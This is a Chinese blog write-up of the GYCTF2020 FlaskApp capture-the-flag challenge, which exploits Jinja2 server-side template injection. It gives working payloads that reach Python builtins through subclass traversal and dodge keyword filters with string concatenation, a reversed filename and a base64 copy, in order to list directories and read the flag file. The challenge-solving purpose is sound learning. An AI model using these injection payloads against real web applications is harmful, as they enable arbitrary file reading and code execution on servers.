[GYCTF2020]FlaskApp

本文详细介绍了GYCTF2020中FlaskApp题目利用SSTI模板注入技巧,通过巧妙的字符串拼接绕过函数过滤,成功获取服务器目录信息及flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[GYCTF2020]FlaskApp

1.开始

网站有加密和解密两个功能
感觉就像是个ssti模板注入 但是加密的时候输入{{config}}之类的都会直接被加密
解密的时候输入{{config}}意外的发现进入了debug模式
但是还是不会做 只能抄抄大佬的wp

2.解题

看了看大佬的wp
源码里过滤了os和fsystem等函数还有flag也被过滤了
但是可以用一个字符串拼接的骚操作

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

 ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

反正大佬这操作我是没学会,之后还得好好看看ssti模板注入,现在基本上只能判断下是哪种ssti,具体怎么注入还是直接搜答案

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值